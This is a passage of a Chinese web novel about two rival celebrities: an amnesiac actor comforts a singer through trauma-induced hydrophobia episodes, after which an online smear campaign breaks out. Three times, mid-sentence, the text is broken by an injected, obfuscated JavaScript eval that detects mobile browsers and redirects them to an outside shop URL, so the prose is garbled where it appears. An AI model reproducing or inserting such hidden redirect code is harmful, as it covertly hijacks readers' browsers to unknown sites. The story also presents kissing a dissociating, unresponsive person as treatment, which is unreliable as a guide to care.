傅予沉的声音。仅仅是简单的称呼,没有后续,像是为了确认他在这里。 江洺没应声。 门被轻轻推开了一点。傅予沉没有进来,只是站在门口,挡住了大部分光线。江洺能看见他落在墙壁上的影子,还有垂在身侧的手。 沉默了几秒。 然后,傅予沉转身离开了。 -- 江洺听着脚步声走远,心里莫名其妙地空了一下。 像是期待着的什么……落空了。 但紧接着,在他来不及思考,为什么会产生这种不切实际的期待时,那脚步声又回来了。 这次,傅予沉手里拿着什么东西。 他走进浴室,没有开灯,只是蹲下来,和蜷在墙角的江洺平视。 江洺这才看清,他手里拿的是一瓶没开封的矿泉水。 傅予沉拧开瓶盖,自己先喝了一口,然后递给江洺。 “喝。”他说,语气没有任何商量的余地,像个在给病人下达医嘱的医生,带着理所当然,和不容置疑。 江洺盯着那瓶水,透明的液体在瓶子里微微晃动,折射着门外渗进来的光。 他喉咙发干,但此刻的他却不想碰任何液体。 傅予沉等了几秒,看他没动,突然做了件江洺完全没想到的事——他自己又仰头喝了一大口,然后吻上了江洺的唇。 江洺的双眼倏地睁大,在他还没有来得及抗拒的时候,傅予沉就已经顶开了他的齿龈,温暖的舌尖,带着一股水流,闯入了他的口腔,而后又缓缓流淌……缓解了他因为过度呼吸而干涩的喉咙。 他下意识地吞咽了一下。 这仿佛是一个“被允许”的信号,紧接着,傅予沉以一种近乎蛮横的态度,搅动着他的唇舌,掠夺了他的呼吸。 许久之后,久到江洺眼前出现了一道白色的空茫,冲散了那些灰暗的记忆,傅予沉才放过了他,低头抵住了他的额头,声音低哑,“哥哥?” 江洺微微喘息着,没有回答。 在这样的时刻,他不知道应该说什么——谢谢? 想必,那应该不是傅予沉此刻想要听到的回答。 -- 傅予沉伸手抓住了他的手腕。 不同于以往那种依恋的温柔,这次是用力地、不容挣脱地抓住了他,然后,把他还在颤抖的手按在了傅予沉自己的胸口。 隔着薄薄的棉质T恤,江洺能感觉到傅予沉平稳有力的心跳。 咚、咚、咚。 规律,沉稳,和江洺自己仍在狂乱的心跳形成鲜明对比。 “感觉到了吗?”傅予沉看着他,眼睛在昏暗的光线里亮得出奇,“活的、会跳、是真的。” 江洺的手指无意识地蜷缩了一下,指尖碰到了傅予沉的锁骨。 “你……”他开口,声音哑得不成样子,“在干什么?” “让你知道我,现在,就真实的在你身边,你可以尝试着依靠我”,傅予沉说,语气平淡得像在陈述“今天是晴天”,末了又再次强调,“心跳是真的,体温是真的,我是真的。” 他顿了顿,目光回到了身前的矿泉水瓶上,“此刻,我就在你身边,水是……安全的。” 他说得那么笃定,好像这是一条既定法则,不容置疑。 江洺的手还按在他胸口。 那种温热的、有生命力的触感,像一股细微的电流,顺着指尖爬上来,暂时压过了骨头缝里的寒意。 傅予沉松开了他的手,但没移开身体。 江洺看着傅予沉的眼睛。 那双眼睛里没有任何复杂的情绪,没有怜悯,没有算计,只有一种近乎天真的专注,他在认真地解决一个问题,用他能想到的最直接的方法。 “你……”江洺的声音还是很哑,但颤抖减轻了一些,“为什么做这些?” 傅予沉偏了偏头,像是在思考一个很难的问题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259331|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几秒后,他给出了答案,“因为你在抖。” 他说得很理所当然,好像“江洺在抖,需要他的帮忙”和“天黑了要开灯”一样,是不需要思考就应当做的事情。 “而且,”傅予沉补充,指了指自己的太阳穴,“我这里……不舒服。看到你不舒服,我这里就不舒服。” 他说的“这里不舒服”是指头痛,还是心疼? 江洺没有问。 他只是看着傅予沉,看着这个失忆后变得陌生又熟悉的人。 这个人不记得他们过去是死对头,不记得那些针锋相对,不记得扔漏气救生圈的嘲讽。他现在脑子里只有最简单的东西——江洺在害怕,所以他来了。江洺在抖,所以他想办法让他别抖。 那么纯粹,纯粹到……让他想要依恋,却又害怕。 江洺移开视线,撑着墙想站起来,腿还有点软,但傅予沉立刻伸手扶住了他的胳膊。 那只手很稳,热度透过袖子传过来。 “能走吗?”傅予沉问。 江洺点头。 傅予沉扶着他走出浴室,走到床边,让他坐下。 然后,他走到窗边,拉开厚重的遮光窗帘。天已经蒙蒙亮了,灰蓝色的天光涌进来,冲淡了房间里的昏暗。 傅予沉站在那里,背对着江洺,看着窗外渐渐苏醒的城市。 他的背影在晨光里显得有些单薄,但站得很直。 “天亮了。”他说,声音很轻,仿佛在说一个笃定的答案,“一切都过去了。” 江洺坐在床边,看着他的背影,又低头看了看自己的手。 不抖了。 至少现在不抖了。 他慢慢躺下去,把脸埋进枕头。 枕套是酒店统一的那种光滑冰冷的材质,但很快被他呼出的气息焐热。 他听见傅予沉走回来的脚步声,感觉到床垫另一侧微微下陷——傅予沉在床边的椅子上坐下了,没有离开。 “你走吧。”江洺闷声说,“我没事了。” “嗯。”傅予沉应了一声,但没有动。 沉默蔓延开来,但不像刚才那样窒息。这是一种……有人陪伴的沉默。 江洺闭上眼,身体还是很累,骨头像是被拆开重组过。但那种冰冷刺骨的恐惧,在傅予沉那一连串笨拙的操作后,似乎真的被驱散了一些。 他用干燥的毛巾包裹他的手。 他让他感受他的心跳。 他说“我在你身边,你可以依靠我”。 简单,直接,毫无技巧,却莫名有效。 江洺的意识开始模糊,在半梦半醒的边缘,他忽然想——如果傅予沉没有失忆,还会这样做吗? 那个高傲的、喜欢看他出丑的傅予沉,会在深夜闯进他的房间,用这么幼稚的方法安抚他的恐慌吗? 不会。 答案清晰得近乎残忍。 那么,现在这个傅予沉……到底是谁?是一个全新的、被车祸重塑的人?这个“梦”又会持续多久?这世界上,是从未得到过残忍,还是得到后又失去更为残忍呢? 江洺没有往下想,他太累了。 在彻底沉入睡眠前,他最后的感觉是,有人轻轻地、把滑落的被子往上拉了拉,盖住了他的肩膀,动作轻柔,像是小心呵护着什么易碎的珍宝。 “咚咚咚……” 江洺没有睁眼,却感觉心跳仿佛又在耳边响起——这一次,或许真的是“心动”。 20. 期待 “洺洺,牵着妈妈的手,我们一起去赶海呀?” “不要害怕,看,前面的太阳,是不是很漂亮?和妈妈一起去看看好吗?” 他信赖地牵着妈妈的手,走向了远处海平面上的橙红日光。 渐渐地,海水没过了他的脚踝、膝弯……胸口,他感觉有些喘不过气来。 “妈妈,我难受,我不想赶海了。” 那道温柔的声音变得严厉起来,隐隐透着失望,“洺洺,连你也不愿意和妈妈永远……永远的在一起吗?” 他张了张嘴,来不及回答。 一朵浪花涌来,他踉跄了一下,腥咸的海水瞬间没入口鼻……身体本能的剧烈的挣扎起来…… 不知何时,那只一直牵着他的手,松开了。 “不,不要!” -- 窗外夜色渐暗,江洺从噩梦中惊醒,又一轮更剧烈的应激反应袭来。 酒店的房间仿佛是一个巨大的水族箱,那些无处不在的静谧的、幽蓝的海水压得他喘不过起来,他下意识的想要松开领口,去大口大口的呼吸…… 却发现一切都是徒劳,喉咙干涩的可怕,胸腔就像是一个老旧的风箱,每次呼吸都带着一股濒临破损的嗡鸣。 他的呼吸愈发急促,脸色却越来越苍白,唇瓣甚至泛起了一种诡异的青紫。 江洺感觉自己的灵魂好似漂浮了起来,仿佛床上那个剧烈呼吸的人不是他。 他看到,傅予沉从沙发上惊醒,立刻冲了过来,伸手握住了他冰冷的掌心,像是努力想要把自己的体温传递过来,“哥哥,醒醒!” 他徒劳的伸了伸手,并没有感觉温暖。 没有用。 这一刻的感觉,他像悬在空中,在看一场关于‘江洺’的恐怖电影,声音变得遥远,与傅予沉的触碰感觉隔着一层玻璃。 他张了张嘴,却发不出声音。 -- 江洺的瞳孔还是涣散的,冷汗浸透了他的额发,整个人像刚从海里捞出来。 傅予沉愣了愣,蓦然想起电话中,Alex医生形容的症状,以及那个医学名词——解离症状,这个时期的患者甚至连身体本能的‘自救’都做不到。 “那我能做些什么?”他几乎是迫不及待的问。 “记忆,用一种更为激烈,印象更为深刻的美好的记忆,去覆盖掉那些给他造成巨大创伤的记忆……给他造一个,新的锚点。” Alex嘀嘀咕咕说了一连串之后,又谨慎的补充道,“或许有用,但是具体的还得等我看到了病人才能确定。” “好的,麻烦您了!” 傅予沉没有想到,江洺的心理状态恶化的这么快,幸好他提前咨询了心理医生。 他不是没有想过送江洺去医院,实际上……昨天江洺睡着之后,医生已经来过了,也只是单纯的给他输了营养液。因为在这种纯粹“心理问题”造成的躯体化症状面前,现代医学也显得有些力不从心。 他也打电话联系过江洺以往的心理医生,那位年迈的长者只沉沉的叹了口气,说“解铃还需系铃人”。 他试过了所有的可能,最后又回到了原点——Alex的建议,更为激烈的、美好的记忆。 那么,对于江洺而言,他所给与的“爱”,是美好的吗? 尽管平日里他撒娇卖萌,插科打诨,“求”得了靠近江洺的机会,但那些记忆,对江洺而言,是美好的吗? 他罕见的踌躇了起来。 -- 片刻踟蹰间,眼见着的青年额头上冷汗越来越多,皮肤也越来越苍白,脆弱的像是一尊布满了裂纹,即将碎裂的精美雕像。 傅予沉突然感觉自己的心也尖锐的疼痛了一下,他闭了闭眼,下定了决心。 “哥哥,”他低下头,用自己温热的额头,抵住了江洺带着潮湿汗意的额头。 呼吸近在咫尺,交缠……傅予沉的声音哑得厉害,像是压抑着什么,“哥哥,你那里很冷。” 他感觉,在江洺空茫的瞳孔后面,仿佛有一个谁也看不见的,装着灰色海水和那些灰色记忆的地方……那里,仿佛结了厚厚的冰层,冰封了他的过往,和“恐水症”的源头,而江洺自己却在拒绝任何人的靠近。 ——包括他。 “我……进不去。”傅予沉继续说,语气里有一种罕见的,近乎挫败的焦躁,“进不去你记忆……我牵不到你手,也融不了那里的冰。” 江洺想笑,想讽刺,想说,“你当然进不去”。 毕竟,那是他的私人心理医生花了近十年的时间,用过了包括“催眠、心理诱导”等等一系列医学办法,也进不去的地方。 那位年迈的医生曾无数次说过“解铃还须系铃人”,他知道,那所谓的“系铃人”不是他幼年时的母亲,而是他自己。 是他自己,将自己“困”在了原地。 但他说不出话,他的牙齿在打颤。 傅予沉吻了他。 比之前在浴室中做的更过分,这……是一个蛮横的、带着破釜沉舟力度的吻,像要用自己的气息,把江洺肺里那些咸腥的幻觉全部挤出去,再灌满他自己的味道。 江洺僵住了,但紧接着,一种奇异的感觉席卷了他,不是情|欲,是一种更原始的东西——存在感。 他终于回到了自己的身体,找到了属于自己的意识,与感知。 傅予沉的唇是烫的,舌是烫的,呼吸是烫的。 这种滚烫的、活生生的触感,如此霸道地占据了他所有的感官,以至于有那么几秒钟……记忆里的海水,真的褪去了一点。 傅予沉退开一点,鼻尖还蹭着他的鼻尖,眼睛在昏暗中亮得骇人。 “感觉到了吗?”他问,气息不稳,“哥哥,心跳是真的,呼吸是真的,我在……爱你,也是真的。” 江洺怔怔地看着他。 傅予沉伸手捧住他的脸,拇指用力擦过他眼角的泪珠,动作带着一种不容置疑的决绝。 “我要把那些不好的都覆盖掉。”他宣布,像在下一个战书,“用我,用爱。” “好吗?” 江洺的指尖颤了颤,没有推开。或许是没有力气,又或许只是……单纯的,不想。 …… 许久之后,他在一种前所未有的,筋疲力尽的平静中沉沉睡去。 这次没有了支离破碎的梦境,只有切实的,环绕在周身的温暖。 他第一次,在旧疾发作后的夜晚,感觉到安心,和温暖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259332|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳边不再是仿佛是怎么也拧不紧的水管传来的“滴答”声,而是令人安心的呼吸。 当晨光终于划破黎明前最后的黑暗,记忆中汹涌的海潮退去。 在一片温暖的晨光中,江洺的眼睫颤了颤,醒了过来。 昨晚的记忆如退潮后裸露的礁石,嶙峋地浮现。 黑暗里的吻,滚烫的掌心,那句“我要把别的都覆盖掉”的蛮横宣告,以及后来……那些足以烧熔神经末梢的感官风暴。 【荒唐。】 这是第一个涌上来的词,紧接着是更复杂的情绪,一丝残留的战栗,一种劫后余生般的虚脱,还有……一种奇异的平静。 那片总是伺机而动的、冰冷的海水,在昨夜被短暂地煮沸、蒸发,留下此刻干爽而疲惫的躯壳。 傅予沉睡在他旁边,一条手臂横亘在他腰间,沉甸甸的,带着不容忽视的存在感,皮肤相贴的地方传来温热的触感,还有平稳的、近在咫尺的呼吸声。 这是一个充满占有欲的姿势,但傅予沉的睡颜却出乎意料的安静,甚至有些稚气。 江洺看着他,第一次没有感到任何抵触,或困惑。 他只感到一种巨大的、近乎荒诞的,令人安心的平静。 伤口还在,但有人用最笨的方法,暂时把它“缝”起来了。 用的是他笨拙且炽烈的,建立在‘虚幻记忆’之上的爱意。 …… 江洺没想到,一场失忆,一场意外,那个曾经高高在上,骄傲不可一世,甚至可能都不喜欢|同性的傅予沉,能够为了他,做到如此地步。 然后,一个清晰的念头浮上来,等傅予沉恢复记忆,想起这一切,又会是什么表情? 是愤怒,后悔,还是否认,嘲讽? 傅予沉对他,是会立即恢复到死对头的状态吗?还是更为变本加厉的报复? 光是想象,江洺就觉得……竟然有点期待。 恶劣的期待。 至于这期待中,有多少是期待“死对头”的精彩表情,又有多少事期待在他自己在彻底动心和沉沦之前——梦醒? 江洺自己也暂时没有答案。 -- 不知不觉,江洺就这样怔怔的看着傅予沉许久,直到透过窗帘缝隙的那束微光变得明亮起来。 江洺平复了激荡的心绪,小心翼翼地动了动,想从那条手臂下挪开。 刚一动,他身后的呼吸节奏就变了。 “醒了?” 傅予沉的声音带着刚睡醒的沙哑,比平时更低,热气喷在他后颈的皮肤上,手臂非但没松开,反而收得更紧了些,把他整个人往怀里又按了按。 “嗯。”江洺应了一声,声音比他预想的要哑。 傅予沉没再说话,只是把脸埋在他肩胛之间的凹陷里,鼻尖无意识地蹭了蹭,那是一个极其亲昵、甚至有些依赖的小动作,像大型犬确认主人的气息。 江洺身体僵住了一瞬。 他感觉,刚才蓄积许久的“期待”与“防御”,仅仅因为这个单纯的动作,就像是肥皂泡一样,“啪”的碎裂开来。 他是真的期待傅予沉恢复记忆吗? 还是期待着,傅予沉永远“失忆”,而他永远像现在一样,“被爱”? 21. 风暴 昨晚的事,江洺记得很碎片。 他记得傅予沉滚烫的掌心如何一寸寸抚过他冰冷僵直的脊椎,像在熨平一件冬日里浸透了寒气的衣裳。 他记得傅予沉在他耳边反复的、执拗的低语,像是誓言一样的宣告,“哥哥,别怕……我在,我一直在。” 终于,在某个时刻……他闭上眼睛,看到的不是无边的黑暗,也不是令人窒息海水,而是傅予沉近在咫尺的、因为专注而紧绷的侧脸线条。 他在用炽烈而诚挚的爱,笨拙地、激烈地,为他搭建一座避难的孤岛。 而江洺,在这座孤岛上,第一次允许自己暂时沉溺在另一种浪潮里。 一种滚烫的,名为“傅予沉”的浪潮。 -- “还怕吗?”傅予沉突然问,声音闷闷的。 江洺怔了怔,才意识到他在问什么。他静下心来感受,身体深处似乎还残留着应激后的酸软,但那种针尖抵着皮肤般的尖锐恐惧,确实淡去了。 “好点了。”他实话实说。 傅予沉似乎满意了,又蹭了蹭,然后才慢慢松开手臂。江洺坐起身,抓过床头的T恤套上。布料摩擦过皮肤时,某些被过度触碰的地方传来隐秘的,带着细微刺痛的麻痒感。 他下意识回头看了一眼。 傅予沉还躺着,一条胳膊搭在额头上,挡住了眼睛。晨光勾勒出他流畅的下颌线和凸起的喉结,被子滑到腰际,露出紧实的腰腹肌肉和……一些昨晚留下的、不太明显的红痕。 江洺飞快地移开视线,耳根有点热。 就在这时,床头柜上,他扣着的手机突然疯狂震动起来。 江洺拿起来,屏幕解锁的瞬间,消息通知如瀑布般涌出,几乎卡住了界面。 最上面是虞绍的未接来电,17个。 下面是他的微信,最新几条是语音,江洺点开公放,虞绍几乎是吼出来的声音立刻炸满了房间。 “——祖宗!你终于醒了!看热搜!快看热搜!出大事了!全特么炸了!!!” -- 背景音嘈杂,还能听到其他工作人员走动和敲击键盘的声音。 江洺和傅予沉对视一眼,彼此都有了猜测。 傅予沉坐了起来,脸上最后一点睡意消失殆尽。 江洺点开微博,图标上的红色数字显示“99+”。热搜榜的页面加载出来的瞬间,他的瞳孔微微收缩。 热搜前十,有七条和他们有关。 #江洺恐水症#(爆) #傅予沉人形盾牌#(爆) #致命心跳密室逃脱#(热) #沉洺心跳同步率#(热) #江洺演技#(新) #傅予沉真爱#(新) #江洺利用#(新) 每条后面都跟着一个代表讨论度的“爆”或“热”字,江洺点开第一条。 最上面是节目组官方放出的一段高能剪辑,正是他们在密室里最关键的几个瞬间:傅予沉挡在水雾前的慢镜头,医疗池喷水时江洺瞬间煞白的脸,最后投影出现时两人交握的手和同步狂飙的心率曲线。 剪辑技术极其高明,配乐从幽暗到悲壮再到最后一丝微光,把短短几分钟剪出了史诗感。 标题是节目组的手笔——《驯服,TA挡在你身前需要多少秒?》。 转发已经破百万,评论区更是战场。 高赞第一条是CP粉的狂欢。 [用户@沉洺今天结婚了吗]:我哭了整整半小时。这不是爱是什么?傅予沉那个眼神!那是看死对头的眼神吗?那是看易碎珍宝的眼神!江洺你心跳128的时候,傅予沉119,这TM叫不同步?这叫灵魂共振!!! 下面紧跟着一条明显是江洺唯粉的控评,但语气已经有些力不从心: [用户@江洺的唯一耳返]:抱走江洺,专注作品。综艺是工作,合作是敬业,请勿过度解读。江老师一直是最好的歌手,也将是最好的歌手。 再往下,画风开始变了。 一股明显被引导的、带着毒刺的舆论风向开始占据版面。 热搜衍生话题:#傅予沉人设崩塌# 点进去,是一篇被大量转发的“深度分析”文章节选: 《从冰山影帝到恋爱脑,傅予沉的“性格突变”是真是假?》 车祸轻伤,恢复良好——这是官方说法。但一个在娱乐圈以高冷、专业、甚至有些冷漠著称的顶级演员,为何在一场小事故后,忽然变得情绪外放、依赖性强、甚至对昔日死对头展现出近乎“雏鸟”般的依恋? 医学上,头部受创可能导致人格改变,但通常伴随其他认知功能障碍。 而傅予沉在节目中思维清晰、行动力强,唯独在面对江洺时,行为逻辑发生断裂。这不得不让人怀疑,这究竟是创伤后遗症,还是一场精心策划的、颠覆性的“人设重建”? 如果是后者,那么谁受益最大?显然是近期话题度飙升,并成功与傅予沉深度绑定的江洺。 一个“因祸得福”,获得全民怜爱且商业价值不降反升的傅予沉,一个凭借此东风顺利破圈转型的江洺,双方团队是否在车祸后达成了某种“共赢剧本”? 细思极恐的是,如果连“失忆后的深情”都可以是表演,那么综艺里那些“本能保护”和“心跳同步”,又有多少是预先设计的“工业糖精”? 这篇文章下面,附和者众多: 【早就觉得不对劲了!傅予沉以前采访多犀利一个人,现在看江洺那眼神软得能滴水,太假了!】 【说不定车祸都是炒作的一部分?为了给这个综艺造势?娱乐圈为了红,什么做不出来?】 【只有我觉得江洺更可怕吗?如果傅予沉是真的失忆变天真了,那江洺就是在引导甚至利用一个“病人”的感情。如果傅予沉是演的,那这两人就是合伙诈骗观众感情!怎么都恶心!】 -- 与此同时,另一个热搜#江洺操控#也在悄然上升。 里面充斥着各种看似“理性分析”,实则充满引导性的言论。 【大家别忘了,江洺恐水症不一定是真的,根据可靠消息,他所在的男团濒临解散,他正准备转型做演员。一个能完美演绎恐惧的人,难道演不出“被感动”、“逐渐心动”吗?傅予沉现在心智如白纸,江洺想在上面画什么,不就是什么?】 【节目叫《致命心跳》,江洺的“心跳”因为恐惧失控,傅予沉的“心跳”因为“爱”失控。到底谁在操控谁的心跳?】 【最完美的猎物,往往以猎物的姿态出现。别忘了,江洺在密室里,一直是“被动承受”方,但最终舆论和利益的最大获益者,是他。】 这些言论整齐、尖锐,且迅速从几个源头扩散,明显有推手在刻意引导,将“傅予沉性格大变”与“江洺心机深沉”捆绑在一起,把两人推向一个两难的道德困境。 如果傅予沉真失忆且真爱→江洺就是操控病人的恶人。 如果傅予沉是演的→两人就是合谋欺骗观众的骗子。 无论哪种,都是致命打击。 虞绍最新的语音,带着一股明显的疲惫。 “江洺,不对劲……这波舆论有专业水军下场,而且不止一股!有人在带‘傅予沉人设造假’的节奏,明显想把他打成‘欺诈艺人’;另一波在死咬你‘利用操控’,想把你说成心机婊!这两波看似在互打,实际是双管齐下,要把你们俩都搞臭!” “我怀疑……是不是天音那边对你私下和傅予沉绑定不满,所以连你一起敲打?还是星耀娱乐内部有分歧,有人不想看傅予沉‘恋爱脑’形象影响商业价值?又或者是……其他眼红这档综艺流量?或者被你们压了风头的对家?” “关键是‘失忆’这个点被模糊处理了。公众只知道他‘伤愈’,不知道具体情况。现在‘性格突变’成了最好的攻击靶子!我们必须立刻统一口径,你和傅予沉绝对不能在任何场合说错话!” 江洺攥着手机的指节微微泛白,认真说来,这一次,是他连累了傅予沉。 如果不是他在密室被诱发了恐水症,他们的互动就不会那么“失控”,从而引发这后续的一系列舆论海啸。 -- 一条被顶上来的长评,点赞数正在飞速攀升。 [用户@心理学在读-李学姐](专业认证:燕京大学心理学硕士):作为相关专业学生,说点可能不中听的。从专业角度看,江洺老师的恐惧反应极其真实,符合创伤后应激障碍(PTSD)的急性发作表现,绝非演技可以达到。 如果是演技,那他已经超越了所有心理学教材。而傅予沉老师的保护行为,速度快于意识反应,更接近本能驱动。 有趣的是,在这种“本能保护”之后,两人的互动模式发生了微妙变化——江洺老师出现了对傅予沉老师的短暂依赖行为,允许靠近和触碰。结合已知两人曾是“死对头”的前提,这其中的情感转变非常值得玩味。 个人倾向于认为,这是一次在极端情境下发生的、真实的心理依附关系建立。 这条评论下面吵成一团。 有说“学姐说得对”的,有骂“懂王又来了”的,但更多人在追问。 【所以意思是江洺的恐水症是真的?傅予沉的爱也是真的?那江洺呢?他对傅予沉也是真的?】 【细思极恐,如果江洺的恐惧是真的,傅予沉的保护也是真的,那江洺后来那些冷淡和回避……是不是在演?】 【只有我觉得可怕吗?傅予沉好像真的爱江洺,但江洺好像在利用这份爱?】 【+1,江洺看傅予沉的眼神,和傅予沉看江洺的眼神,根本不是一个温度。】 #江洺演技#和#江洺利用#这两个热搜,就是从这里发酵起来的。 有人截取了密室最后的画面——江洺在傅予沉靠近时,那一瞬间的僵硬和闪避,做成了动图,配上文字,“他怕水是真的,但爱你是不是真的,就不好说了。” 这条动图被转发了十几万次。 更有人翻出两人之前所有公开场合的同框,逐帧分析江洺的微表情,试图证明他“从头到尾都在演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259333|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,而傅予沉“可能从一开始就动了真情却不自知,直到‘失忆后’才毫无保留”。 舆论的风向,正朝着一个对江洺极其不利的方向倾斜:一个清醒的、甚至可能冷血的“表演者”,利用了一个失忆后纯粹爱着他的“病人”。 -- 房间里很安静,只有空调运转的微弱声响。他能感觉到傅予沉的目光落在他侧脸上。 “哥哥。”傅予沉突然开口,声音很平静,“他们在吵什么?” 江洺转过头。傅予沉已经拿起了自己的手机,屏幕亮着,显然也看到了那些热搜。但他的表情里没有愤怒,没有受伤,只有一种纯粹的、近乎天真的困惑。 “他们说……”江洺顿了一下,嗓子发紧,“说我可能在利用你。” 此刻,刚刚经历了一场亲密接触的两人,却面临着一场“信任危机”,世人都说“事实胜于雄辩”,在这场由“失忆”引发的混乱关系中,他确实是“受益”方,这一点辨无可辨。他利用了傅予沉的失忆,利用了他的信赖与纯粹的爱意……虽然,这一切并非他的本意。 获得了好处,自然要有承受反噬的觉悟,江洺没有粉饰太平的意思,只紧紧盯着傅予沉,“我利用了你的失忆,与热度。” 傅予沉皱了皱眉,像是听到一个极其荒谬的说法。 他放下手机,挪到床边,伸手碰了碰江洺的脸颊,这是一个自然而然的亲昵动作,江洺没有躲,只是微微垂眸,避开了那到炽热的眸光。 “利用?”傅予沉重复,然后很认真地摇头,“不对,是我在利用你。” 江洺一愣。 “利用你……”傅予沉组织着语言,眼神专注,“是我,利用了你的心软和善良,利用你的脆弱……来靠近你”。 他顿了顿,补充道,“况且,即便是利用,那证明我有你需要的地方——我对哥哥很有用,我也很欢喜。” 江洺的心脏像是被什么东西轻轻攥了一下,酸涩的,温热的,又带着尖锐的刺痛。 他这种人,或许最受不了的,就是这种近乎直白、坦诚,且热烈的“爱意”。 那会让他产生一种被灼烧、炙烤的错觉。 傅予沉却没有放任他的逃避,手指沿着他的下颌线游走,带着轻微的,不容忽视的痒意,最后抬起了他的下巴,眸光平和,“哥哥,互相利用,难道就不是双向奔赴吗?” 江洺的心陡然紧缩了一下,产生了一种无所遁形的错觉来。 【利益,比感情长久】 这是他曾相信的,却从未对任何人剖白过,近乎是冷酷的内心准则。 傅予沉,又看透了什么? 这是一个失忆患者,该有的敏锐吗? -- 就在这时,傅予沉的手机也响了一声,是浏览器推送的新闻标题。 屏幕亮起的瞬间,江洺瞥见了上面的字,【深度扒皮:傅予沉车祸失忆真相,与江洺是否有关?】 傅予沉显然也看见了。他盯着那条标题,手指悬在屏幕上方,没有点开,几秒钟后,他按熄了屏幕,把手机扔到一边,仿佛那是什么无关紧要的东西。 但他微微蹙起的眉头,和那一瞬间的凝滞,没有逃过江洺的眼睛。 “你……”江洺开口,却不知道要问什么。 傅予沉抬起眼,看向他,忽然问,“哥哥,我以前……是不是对你不好?” 空气凝固了,江洺张了张嘴,发不出声音。 那些过往——针锋相对的采访,互相下绊子的资源争夺,公开场合毫不留情的嘲讽,还有他自己的那句“再亲自送他一程”的发言——一切像默片一样在脑海里飞速闪回。 该怎么回答?说你以前恨不得看我淹死?说我们是不死不休的对头?说你现在这份“爱”,建立在记忆的废墟和一片虚妄之上? “嗯,我也对你不好。”最后,江洺只说了这几个字,声音干涩。 或许,以傅予沉的敏锐,根本不需要等他恢复记忆,随着时间的推移,他就能察觉,他脑海里那段“虚拟”的恋爱关系,有多么的违和,与错漏百出。 傅予沉看了江洺很久,久到他几乎要移开视线。 然后,傅予沉点了点头,没有追问,但他拿起了自己的手机,这次,他点开了那条推送。 手指滑动,屏幕的光映亮他没什么表情的脸,像是回到了曾经,做为“死对头”的他。 窗外的阳光越来越亮,把房间里的每一粒灰尘都照得清晰。 而他们坐在床的两侧,中间隔着昨夜亲密的余温,也隔着正在疯狂发酵的、足以吞噬一切的舆论洪流,和一句轻飘飘的、却重若千钧的疑问。 新的一天开始了。 带着热度,带着争议,带着爱与被爱的质疑,带着记忆的幽灵悄然叩门。 也带着一场刚刚建立,又已摇摇欲坠的,名为“救赎”的同盟。 虞绍的电话又打了进来,铃声刺耳。 江洺看着屏幕上跳动的名字,深吸一口气,按下了接听键。 风暴,正式登陆。 22. 反击 星耀娱乐,总裁办。 时隔多日,傅予沉再次一身深黑色西装,长腿交叠,坐在了那张真皮沙发上。他手上拿着一个平板,双眸微垂,看起来似乎正在看网络上的舆情。 此刻的傅予沉,整个人呈现一副冷肃沉凝的模样,仿佛在认真思考着什么重要的事情,半分看不出失忆状态下的“天真蠢萌”。 顾淮靠坐在那张宽大的总裁办公椅上,揉了揉眉心,如果这位在综艺上也是这种表现,他相信那些火眼金睛的网友绝对看不出任何端倪,也就不至于闹得现在这样……满城风雨。 有一瞬间,他甚至有些恶劣的怀疑,傅予沉是故意的,故意露出破绽,故意将事情闹大,故意……与江洺绑定的更深。 可是,他图什么? 没当过动物园的猴子,所以当当?没有体会过当舔狗的感觉,所有一定要试试? 这是什么新世纪特殊的癖好吗?还是又一轮,崭新的“作妖”? “咳……”顾淮暂且压下心中那些乱七八糟的想法,开口道,“你怎么看?要及时止损吗?” 这样的傅予沉,让他忍不住想要听听他的想法,仿佛之前的那个,以不足二十岁的年纪,就敢跟他一起创办公司……周旋在商场的那些老狐狸之间,甚至不落下风的傅予沉又回来了。 “嗯?”傅予沉下意识回答了一声,而后又低声喃喃,“是意外啊……” “不是,我说,你在看什么呢?”看傅予沉这副答非所问,智商下线的模样,顾淮叹了一口气,撤回刚才的恶意揣度,站起身三两步走到了傅予沉面前,捞起了平板,然后看到几个大字,《关于3.14汇海路车祸的结案分析》。 顾淮??? “不是?你这是又是闹什么鬼?” 傅予沉轻叹了口气,语气听起来颇为遗憾,“原来真的是一场意外……” 顾淮顿时有些警惕,“你怀疑当初的车祸,与江洺有关?” 傅予沉摇头,“没有,只是随便确认一下。” 确认一下在他失去的那段记忆里,他们的关系到底有多坏。原来,也没坏到……江洺会想要去制造一场意外,让他永远消失……的程度。 他说不清心里是不是松了一口气。 上午的那两句对话像是在心里扎了根,时不时的就会冒出来。 【哥哥,我以前……是不是对你不好?】 【嗯,我也对你很不好。】 